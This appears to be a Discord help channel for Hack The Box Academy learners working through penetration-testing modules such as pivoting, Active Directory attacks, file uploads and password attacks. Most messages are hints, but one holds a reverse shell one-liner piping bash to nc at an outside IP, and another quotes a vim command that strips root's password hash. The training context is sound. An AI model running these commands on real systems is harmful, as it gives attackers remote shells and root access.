heavy marsh
#

The module teaches it assuming you know the ip at that point

fathom pendant
#

we are SO CLOSE to figuring it out

heavy marsh
#

Sorry wrong screenshot

fathom pendant
#

sir

#

i implore you to try and understand concepts

heavy marsh
#

This is the portion I was looking at

fathom pendant
#

you got the B IP from doing enumeration, yes?

#

ok so let me break down this even simpler

heavy marsh
#

So are you telling me I have to configure proxifier to then proxychain nmap to find the IP and then continue?

fathom pendant
#

A and B are on the same subnet, when you create a proxy with A you then have access to the networks A has

#

which is what allows you to connect to B

#

B and C are on the same subnet, but C is not on the same subnet as A, hence why you can't proxychain to it

#

you need to create a proxy on B to chain these resources together

heavy marsh
fathom pendant
#

yes

#

if you do ipconfig on A and B you'll see they have different interfaces/connections :)

#

and if you check C you'll notice it too

#

there's a reason I'm boilingit down A/B/C is to break it away from the examples using direct IP

heavy marsh
#

I see where the confusion was, thank you!

#

It was the fact that there were three rdp sessions in the module, where I only had an SSH tunnel for A on the skills assessment.

kindred jewel
heavy marsh
#

So I didn't think that the proxifier and server portion was needed in this case since I was just going to RDP into it anyway.

fathom pendant
#

@pearl torrent I'm going to scream

pearl torrent
#

And on this day... nothing was achieved.

fathom pendant
#

all these squares make a circle COPIUM

heavy marsh
#

Thank you @fathom pendant

#

So you did answer my question, I did not have to run the script in CMD, I could have gone through that method further to tunnel back.

pearl torrent
#

The TL;DR is you can do whatever works for you. There is no definitive answer in right or wrong per se. The important take away is the core concepts... which I'm just gonna leave with that statement.

heavy marsh
fathom pendant
#

the way you did it isn't incorrect per-se but your initial question was getting it to work with proxychains

heavy marsh
# fathom pendant the way you did it isn't incorrect *per-se* but your initial question was gettin...

Yeah, I knew there was probably a way to do it based on the modules. I know there's a lot of instances of "do your own research" on academy, but my gut was telling me that there was something in the module. I guess the lesson I learned from this besides the on @pearl torrent mentioned is to not use the sections/modules as a procedure or methodology, but rather as guidance. I guess what I'm trying to say is I'm not going to do stuff in order necessarily next time.

fathom pendant
#

because it really do be like that

#

especially if you're given a one-liner that pipes outputs to other commands

#

understanding that first command does A, second command takes A and does B to it, third takes B and does C...

#

it's why if something isn't working walking yourself backwords helps

#

if a piped command isn't working, find out where the leak is

#

spent like a good hour trying to figure something out in AD Enum and Attacks: only for it to be a command conflict with Active Directory and PowerView

proven pasture
#

Trying to fuzz it shows that /image/jpeg does not work even though I would think that the regex says that it should, right? I am still stuck. I did not get anything back from the fuzzing. Reading the php makes it seem like I am right. I am still not sure why I am still only getting the Only Images are alllowed error

thorn urchin
# heavy marsh Yeah, I knew there was probably a way to do it based on the modules. I know ther...

the modules and sections give you tools in the toolbox and some context of when they may or may not be useful. It is ultimately your responsibility to know when to apply or even combine tools together to succeed. These tools in your toolbox might be literal tools, concepts, processes, ect.

thats what every module skill assessment has been trying to do the whole time. Test your understanding to see if you can use your toolbox effectively.

#

which is why I keep getting mad about copy pasting because 80% of the time thats not how you should be approaching things.

fathom pendant
#

fucking with commands is how i found out hashcat had an output mode THIS WHOLE TIME

fathom pendant
heavy marsh
proven pasture
#

I am still stuck on this image upload. Can I just use a regular image open it up in terminal and add the payload at the end of the text?

#

I assume all the servers are in Europe which I did not think about before gosh darn it I wish I swore and drink sometimes lol

thorn urchin
#

beat case scenario it works, worst case scenario you learned something:)

proven pasture
# thorn urchin why not try it and find out?

I did and it took me about forty minutes to think of the date or so I thought that I was doing something wrong. I could have had this done hours ago if I would have no tried to do exactly what the instructions said, tried to use the little cheat sheet, and think out of the box like I tell my family and the folks that I supervise.

#

I am glad no one told me the answer.

#

It really is a god feeling, lol.

thorn urchin
#

nice, congrats

proven pasture
#

Thank you.

hybrid prairie
#

I am on the File Transfer Module on the Windows File Transfer page, attempting to perform the second question asked. I've uploaded the file upload_win.zip onto the windows computer, I've unzipped the file. I don't have permission to use hasher on the text file as suggested. Instead i've created a new file and copied the contents and was able to use hasher on a new file. The hash that is generated does not appear to be the answer to the question. Have I missed a step?

clever bronze
#

the game was rigged from the start

#

ty tho !

hybrid prairie
ruby ginkgo
#

RDP and SOCKS Tunneling with SocksOverRDP
I followed all the steps and the real time protection also is turned off and .ddl is loaded to reg but when i ran the server i get this error

[-] Could not open Dynamic Virtual Channel, plugin was not loaded on the client side: 31

#

svchost is falied : i see this message from my proxy i did as they said in the mod idk where im worng

fading olive
#

Hello everyone, I am stuck on the very first question of the Password Attacks : Network Services Module. Question is : "Find the user for the WinRM service and crack their password. Then, when you log in, you will find the flag in a file there. Submit the flag you found as the answer." I discovered that the 5985 port (for the winrm service) is open but the nmap -A and -sC options didn't yield anything interesting. I coudn't find any scripts for enumerating users for winrm with nmap so do I need to use crackmapexec right away even for the username or should I keep trying nmap?

analog dock
#

In resources

fading olive
#

Aha you're right I didn't see that

dusk shore
#

heyo! guys im stuck in a module "attacking common services" DNS. subbrute does not find anything for inlanefreight.htb

#

im very confused as in module examples we started working with .htb and switched to .com ... why is that? :/

tidal kelp
#

do you mind if i dm you? Im stuck on task 3 that skill assesment, tried Abusing Access to Shared Folders on ||ShareBackups(BACKUP01)|| and ||ShareSQL (SQL01)||

hasty solar
plain coral
dusk shore
#

but axfr transfer just fails

#

im using subbrute, but it just breaks

#

im stuck :/

storm hedge
#

Hello,
I have a stupid question about Pass The hash attacks.
Is the injection of the new hash in the lsass session considered part of the pth attack in itself or is it a mandatory step before the attack itself but not part of the attack per say?
Sorry about my english

plain coral
#

@dusk shore echo "inlanefreight.htb" > ./resolvers.txt

./subbrute inlanefreight.htb -s ./names.txt -r ./resolvers.txt

dusk shore
#

i added ip adress of attack machine as well to resolvers.txt

proven pasture
#

I have another foolish question. Does anyone else use WSL2 instead of a standard WM? I only have Kali this way, but I did find a way to install Parrot

plain coral
#

Then try dig AXFR @inlanefreight.htb **.inlanefreight.htb

dusk shore
#

i get:
IndexError: list index out of range when using subbrute

#

adding ./ worked.. -.- thanks and sorry for disturbing you guys.. Thank you trev0ck! 🙂

plain coral
swift forge
#

Anyone familiar with Information Gathering module? I'm stuck on Active Infrastructure Identification page

opal dagger
#

Now im the one that needs some help, im doing the AD Enumeration & Attacks - Skills Assessment Part 2 and im a bit stuck in question 8 that is to get the Admin flag in MS01, i think i need a domain user that allows me admin rights and using bloodhound i found one that is the answer for question 9 but i cant find the hash, i will appreciate some nuggets

opal dagger
#

mimikatz in SQL01?? buecause i still dont have admin on MS01 so i cant run mimikatz for what i understand

opal dagger
#

got will try thanks

analog dock
#

You can look for the path from sql01 to ms01

cerulean grail
#

In the Service Scanning module in the Penetration Tester job path could anyone please help me understand where am I supposed to obtain the OID from in the first place? It's right there in the command they're running but they haven't explained where to get it from.

whole lava
#

Can anyone help me on the first part of Linux Priv escalation in the environment enumeration module?

tight mesa
#

hi there, anyone willing to explain me or lemme know where to read about what this mean : ':%s/^root:[^:]*:/root::/\nwq' ..!!!

tight mesa
wooden badger
#

hi

wet kite
#

Has anybody troubles spawning boxes? trying to do the training lab in documentation, but the box is not willing 🙂

wooden badger
#

Web Requests
Stuck on a question:
Obtain a session cookie through a valid login, and then use the cookie with cURL to search for the flag through a JSON POST request to '/search.php'

I use the command:
curl -X POST -d '{"search":"flag"}' -H 'Content-Type: application/json' -H 'Cookie: PHPSESSID=t3jks0j77ncate6d7j0nvu9nn9' http://my --data-raw/search.php

#

help me please
I'm so confused that my head is spinning...

#

I feel like I’m walking around somewhere, but I can’t understand..

lusty thicket
wooden badger
#

Didn't understand(

#

For me it finally looks like this
curl -X POST -d '{"search":"flag"}' -H 'Content-Type: application/json' -H 'Cookie: PHPSESSID=t3jks0j77ncate6d7j0nvu9nn9' http://83.136.253.251:33659/search.php

lusty thicket
wooden badger
#

Tell me honestly, am I three? Or am I doing something wrong?

lusty thicket
wooden badger
#

Got it, I'm stupid)

lusty thicket
wet kite
wooden badger
#

So is this how it should look right?

#

?

lusty thicket
wooden badger
#

Yeah, that's what he writes to me (

wet kite
#

so you need a valid cookie.

fathom pendant
#

^

wooden badger
#

That's it, the train has arrived😫

#

😣

#

What kind of cookies? why cookies?
ukillmepls)

wet kite
#

reread the question you try to solve

wooden badger
#

I’ve already done this 100 times and I just don’t understand what he wants from me. My brain is just overloaded...

tight mesa
#

hey y'all, I'm stuck with the LPE capabilities exercise, I'm doing the step-by-step described in the section with no success, any hint will be good received....

wooden badger
#

Am I going in the right direction? Or did he go to the wrong place at all?

cunning frigate
#

hey i got problem with WINDOWS ATTACKS & DEFENSE Skill assesment
I get the base64 from first attack then do the rubeus one but it gives :
krb-error (16) kdc_err_padata_type_nosupp
I looked up some say its bcs its disabled

#

alright saw this and will try and will edit later for future errors

#

sory forgot to remove ping

wooden badger
cunning frigate
#

any mods?

cunning frigate
#

never run as admin

native turtle
#

Password attacks lab - hard is it normal that || Logins.kdbx || takes a lot of time to crack? (I'm using my local GPU with mut_list)

lusty thicket
fathom pendant
cedar void
#

"https://academy.hackthebox.com/module/143/section/1274"

"Retrieve the TGS ticket for the SAPService account. Crack the ticket offline and submit the password as your answer"

I tried the commands used in that section and when I execute the command, it asked me for a username and password. The credentials are not listed in the section. Are we supposed to use the credentials for the user forend that was found in previous sections?

next bronze
#

should be forend if I remember right, check earlier sections

latent glen
#

Im on the active directory skills assessment. I got the reverse shell on my local box. Is it normal that my shell doesnt output anything?

#

I runn commands and it just doesnt run anything... theres no output on my terrminal

I used powershell #3 base64 get a reverse shell but no output for most commands.

fathom pendant
latent glen
#

nevermind, Ill be fine

#

got OSCP exam next friday, I better be fine

cedar void
#

How are you studying for the oscp exam

sinful tide
#

Hi
I have a question in the documentation and reporting module.

So in university our teacher told us that we should not go into details when telling ppl how to fix a vulnerability.

But in the course they go a bit in detail in some places as far as to tell someone what he should change in a configuration file.

So I am a bit confused on how I should write a good remediation,

Like let's say when u try to login they tell you if the username exists or not in the error message, so here should I tell them to change the error message in a way where I can't enumerate usernames or should I also suggest an error message

Or let's take another example, let's say I can read a file that I shouldn't, so here should I tell them that they need to remove the read privilege or should I also give them the command?

fathom pendant
fathom pendant
#

If it's a simple on/off config change that's different than "here's a whole command to fix it"

sinful tide
next bronze
#

basically suggest what should be fixed and why, but not how, you can make recommendations based on the finding, like if they use weak passwords, then they should enforce password policy/use a password manager, but don't include how to implement those

fathom pendant
#

^

#

Reduce liability for future engagement. CYA goes hard in this industry

sinful tide
fathom pendant
#

Give suggestion to change it

#

Don't be specific in how to fix it

sinful tide
# fathom pendant Don't be specific in how to fix it

So a recommendation like this is ok ?

Change the error message in a way where an attacker cannot enumerate usernames, u could for example use this error message " the provided credentials do not match our records "

next bronze
#

something like "do not reveal user information through error messages" is enough, how they want to word it is their choice

fathom pendant
#

Using "for example " stuff reaches into recommending what to do

wary dune
#

is that supposed to be 'whoami'?

sinful tide
#

Ok I get it thank you so much @fathom pendant and @next bronze

turbid jewel
#

Friends, i'm about an hours trying something but it's not going very well

fathom pendant
turbid jewel
#

i tried adding it to host, nslookup and a bunch of shit

wary dune
fathom pendant
#

Remove screenshot, it reveals info

turbid jewel
#

oh, my bad

latent glen
#

okay I am really stuck. So Im on active directory skills assessment 1 question 2. Ive found couple users. I want to start running a few tools, but my terminal is not at all showing output. except for like system commands or so

fathom pendant
turbid jewel
#

25 is not open

fathom pendant
#

Lol

#

Look at the ports available for the system

turbid jewel
#

try this credentials in others services?

fathom pendant
#

Yes

turbid jewel
#

give me a sec

latent glen
#

Im trying to run Inveigh for example. No output.

rustic sage
#

Anyone, I have a problem with machine Devvortex. Just I`m trying to nmap it, but output says, that host is down.

fathom pendant
rustic sage
#

ok

next bronze
fathom pendant
#

This channel is for help with academy modules

latent glen
#

don't see what tho, is powershell#3 not good enough?

next bronze
#

use something like Invoke-PowerShellTcp, should be in the module

orchid pine
#

hello guys doing the skill assessement for reporting module and just wanna know what they mean by this complete the in-progress penetration test. Once you achieve Domain Admin level access, submit the contents of the flag.txt file on the Administrator Desktop on the DC01 host.

next bronze
#

it's exactly what it means, own the domain then get the flag

orchid pine
#

the in progresse

fathom pendant
#

The report you're given is "in-progress"

#

Meaning you're tasked with completing it

next bronze
#

^ read the section, you're given a scenario

orchid pine
#

XD

obtuse verge
next bronze
latent glen
#

I do get other shells. But for some reason none is interactive

#

aaah it worked

#

No, it doesn't My shell is still not showing any output. Im running inveigh.exe annd its just blank screen on execute

#

am I missing something>

next bronze
#

ah inveigh.exe has interactive mode which needs user input to stop, powershelltcp doesn't show the output until the program has finished

plucky mural
latent glen
cedar void
#

'What powerful local group on the Domain Controller is the SAPService user a member of? '

https://academy.hackthebox.com/module/143/section/1274

So I would have to use one of the tools from the previous sections to find the local group? I tried the net command and that seemed to not be recognized(despite following the command format)

$net user SAPService /domain
Invalid command: net rap user SAPService
Usage:
net rap user add Add specified user
net rap user info List domain groups of specified user
net rap user delete Remove specified user

next bronze
plucky mural
cedar void
plucky mural
plucky mural
cedar void
#

I am running the command into the machine that I ssh'ed into...since it requies that I use my local address on that machine

plucky mural
cedar void
plucky mural
cedar void
plucky mural
plucky mural
#

I'd advice you read the section over again.

cedar void
# plucky mural essentially yes it is.

So I don't 'xfreerdp' into the Domain controller: I tried that with the following command and that failed.
[6:11 PM]
xfreerdp /v:
/u:||SAPService|| /p||:'!SapperFi2'|| /dynamic-resolution

plucky mural
# cedar void So I don't 'xfreerdp' into the Domain controller: I tried that with the followin...

Okay, the section is trying to teach how you can kerberoast without access to a windows box but a valid pair of creds. They assume you use the pwnbox to achieve this. rdping into the DC from your vm is impossible because thats a whole other subnet out of your reach(unless of course you explore and pivot thru the pwnbox which I encourage).
The task is simple, use the pwnbox to practice the attacks shown in the section and attack the SAPService

#

You need to take a breath and read over.
It really is very explanatory.

plucky mural
next bronze
#

you guys are overcomplicating this, the group is given in GetUserSPNs.py's output

plucky mural
next bronze
#

oh yeah you did

fathom pendant
#

Reading things properly challenge: difficulty - illiterate

rough acorn
#

Are the servers synched timewise? Are they at the current date?

bright quiver
#

for skill assessment 2 on attacking common applications module..i am trying to run this, but i get an error about -c....this is the command i am using...can someone give me a hint as to why this may be happening? i thought maybe the PW would need parenthesis or so, but that didn't seem like the reason. Also..the full UN/PW is not in this command but i do have it

||python3 49951.py -t http://gitlab.inlanefreight.local:8081 -u na -p &^lC -c 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.14.212 8443 >/tmp/f '||

buoyant escarp
#

meh, my assessment lab is so unresponsive
normal nmap scan about 15 minutes

#

maybe switching vpn region?

fathom pendant
buoyant escarp
rough acorn
#

Are the servers supposed to be at today's date or do they run at some random date?

fathom pendant
#

Should be today's date

#

Note eu servers if you're on us could be at least 4-5 hours ahead

rough acorn
#

I should be on the same continent. I am doing File Upload Skill Assessment and there's something where they prepend today's date to the file

fathom pendant
#

I think the servers spin up EU

#

So that could be the issue

rough acorn
#

fuck me... that was it

#

added + 1 to the day, I had been at this for 2 hours

#

thanks hahaha

fathom pendant
#

Btw I think other people have had this issue, using discord search is helpful

rough acorn
#

yeah I usually do, guess I didn,t think about it this time

ivory dock
#

I'm working on the intro to assembly language module, section "syscalls". I'm trying to print the current fibonacci number but I can't get any output. I used strace as well to see how write() is being called. Can anyone help me figure out why the number's aren't being printed? Much appreciated 🙂

My code is here: https://pastebin.com/RVH1vZK7

buoyant escarp
#

much better @fathom pendant

rough acorn
next bronze
ivory dock
rough acorn
#

isn't the stack pointer just above the last value? I am just going off memory

#

although even with 0 or garbage you should have something

next bronze
#

if it tries to print a non printable character then you might not see anything, you're just forcing the syscall to interpret the data as ascii

rough acorn
#

it does show the string as "\1"

young zenith
#

anyone have any issues spawning targets? ive tried in three separate modules now and none of them are spawning

rough acorn
#

you are litterally trying to write "byte 0". That's why it's "\1"

next bronze
#

use gdb to debug so you know exactly what's in the registers, strace lacks a lot of information

buoyant escarp
#

Footprinting / Medium
||i mounted the NFS||
||found credentials in ticket||
||smb with found creds||
||found more creds inside /devshare/important.txt||
||now i try to RDP on p3389 but somewhy i dont get it to work||

can i doublecheck with someone what part of the given string is user/pass?

#

oh nevermind, used the wrong credentials, the ones from admin xD

final flint
#

Need some support on Password Attacks - Hard lab. I found the kdbx file but i'm not sure how to transfer it to the attack host. Doesn't seem like the windows host has python installed, or the base64 command. Some help would be great

fathom pendant
final flint
#

Thanks, I had a feeling that may have been the way

fathom pendant
#

You can also host an upload server fwiw

next bronze
heavy marsh
#

On the Active Directory module Initial Enumeration of the Domain section it asks me to RDP into the ip provided at the bottom, but when I scroll down it tells me to ssh.

#

Which one am I supposed to do?

vernal patio
#

Rdp since wireshark is gui

fathom pendant
#

^

#

Not to mention Wireshark is being used to demonstrate some stuff going on

heavy marsh
#

Is there a reason dynamic-resolution is not working?

#

Same Active Directory module Initial Enumeration of the Domain section

#

It fullscreens with /f but that's not ideal

fathom pendant
#

Do you have an actual question about an academy module? Because at this point I'm getting fairly close to blocking you as I should have.

heavy marsh
#

the /size option worked, so why not /dynamic-resolution

fathom pendant
#

it just doesn't like you ig ¯_(ツ)_/¯

heavy marsh
#

why use /dynamic-resolution when trial and error with /size feels like a fine art 😆

#

Lol, the view of wireshark was completely UNSAT at the default resolution.

#

Looks great now though!

fathom pendant
#

I troubleshot a dumb issue: I forgot the : after /p and was confused why it wasn't working

small sparrow
#

Hi team, just wondering if it's possible to do 2 labs in parallel, mean increasing the limit to spawn 2 (or multiple) targets?

fathom pendant
#

No

small sparrow
#

hmmm, thanks!

fathom pendant
#

When you spawn a new target it despawns the old target

small sparrow
#

yea, that's what I noticed, thanks for the reply, appreciated!

fathom pendant
#

There's no real functional reason to run multiple target labs either

#

As they will be functionally focused on different things

small sparrow
#

actually I was doing the bruteforcing exercise and it's taking maybe hours, I was wondering if I could do others.

small sparrow
#

passwords

fathom pendant
#

Password Attacks?

small sparrow
#

yep

fathom pendant
#

Ah, don't attack ssh

#

:)

small sparrow
#

got it.

fathom pendant
#

I believe you should get it with ftp

#

Also you can increase threads with -t

#

48 is the sweet spot for most

small sparrow
#

I tried ftp with -t 50 but it started timing out.

#

got it, thanks for the hint.

#

appreciated!

fathom pendant
#

If all else fails: restart the target and be patient :D

#

I adjusted mine by 8s

small sparrow
fathom pendant
#

There's also a tool called ssb, haven't tried it myself but apparently it's REALLY GOOD at attacking ssh

rustic sage
#

hello

#

how can i get cubes for free

fathom pendant
rustic sage
fathom pendant
#

not my problem ¯_(ツ)_/¯

#

If you have a university email that's the cheapest route

#

Otherwise there's other platforms out there to learn for free

rustic sage
#

like

#

what

fathom pendant
#

Google

rustic sage
#

owh

#

fine

fathom pendant
#

I'm not being an ass btw: literally Google what you want to know and there's likely articles and stuff you can learn from

#

Tryhackme is another platform

#

Something you can do is look at the module overview and Google the module topics

#

¯_(ツ)_/¯

heavy marsh
# rustic sage thanx but i need to learn about bug bounty and the for bug bounty i need one tho...

Piecing a solid fundamental knowledge of bug bounty hunting together is going to be a challenge without some sort of curriculum. I started with TryHackMe Complete Beginner, and moved on to TryHackme Offensive Pentesting. Then I came here to go for the CPTS. You can do it yourself through resources online, but without a curated curriculum provided to you, it will take way longer than it is worth.

round sable
#

Hi, could I get some hints about "NoSQL injections - Skills Assessment II" ? I'm assuming the injection is in ||/reset|| but cannot find it in the ||token parameter||.

misty current
hybrid pasture
# misty current There's an attack type mentioned in the module but they don't go over it in deta...

Timing attacks: These are attacks that analyze the time it takes for a system or algorithm to perform a certain operation, such as encryption or decryption, and use that information to infer secret data or keys.
Race conditions: These are attacks that exploit the situation where two or more processes access or modify the same resource at the same time, and the outcome depends on the order or timing of their execution. An attacker can manipulate the timing or order of the processes to cause an unexpected or undesired result, such as privilege escalation or data corruption.
Replay attacks: These are attacks that involve capturing and retransmitting a valid message or data packet at a later time, without the knowledge or consent of the original sender or receiver. This can allow an attacker to impersonate another party, bypass authentication, or modify the state

ebon jasper
#

Can someone help me to fix this problem?! Because of this error I have hard time to do new "ADCS ATTACK" module's task

#

When I use certipy tool every time I am seeing this lib error

hybrid pasture
#

I'm sorry to hear that you are having trouble with the certipy tool and the ADCS ATTACK module. Based on the image you sent and the web search results I found, it seems that you are facing a common error related to the pyOpenSSL library. This error occurs when the lib module does not have the attribute X509_V_ERR_UNABLE_TO_GET_ISSUER_CERT, which is needed for some cryptographic operations.

One possible solution to fix this error is to remove the line that causes the error from the crypto.py file in the OpenSSL package. You can find this file in the /usr/lib/python3/dist-packages/OpenSSL/ directory. The line you need to remove is:

CB_ISSUER_CHECK = _lib.X509_V_FLAG_CB_ISSUER_CHECK

After removing this line, you can try to use the certipy tool again and see if the error is gone. If not, you may need to uninstall and reinstall the cryptography and pyOpenSSL packages using these commands:

$ pip uninstall cryptography
$ pip install --upgrade cryptography==36.0.2
$ pip uninstall pyOpenSSL
$ pip install --upgrade pyOpenSSL

You can also check the version of pip and werkzeug that you are using, and make sure they are compatible with the certipy tool and the ADCS ATTACK module.

ebon jasper
fathom pendant
#

even their response about the different timing attacks look chatGPT generated

ebon jasper
fathom pendant
#

as it shows in the output

ebon jasper
fathom pendant
misty current
#

It just gives you a better idea of the error.

fathom pendant
#

so you can be more accurate in your search for fixes

ebon jasper
fathom pendant
#

instead of the vague "X509_V_ERR_UNABLE_TO_GET_ISSUER_CERT" which to be fair would make sense since the certs are self-signed

#

is there perhaps an -ignore-certs option in certipy? or something along those lines

#

also is that IP the DC?

ebon jasper
#

Confusion part is 2 weak ago I can use this ceript command: certipy req -username EVIL01$ -password 'Str0ng3st_P@ssw0rd!' -ca AUTHORITY-CA -dc-ip 10.10.11.222 -template CorpVPN -upn administrator@authority.htb -dns authority.htb -debug

#

When I am doing retired machines with write up

fathom pendant
#

¯_(ツ)_/¯

ebon jasper
#

I guess i will reinstall my linux it will help 100%😂

fathom pendant
#

it's likely some weird cert thing

#

don't reinstall linux lol

ebon jasper
#

enough to solve troubleshooting

fathom pendant
#

You should first try reinstalling the tools LOL

ebon jasper
#

Reinstalling OS my last chance

fathom pendant
#

besides you might end up learning more:

#

is the username valid?

ebon jasper
fathom pendant
#

i've not really seen it be lab.local generally seen it as inlanefreight.local

round sable
#

@hallow remnant I solved it but am interested in knowing the nosql tool you used, did you mean nosqlmap ?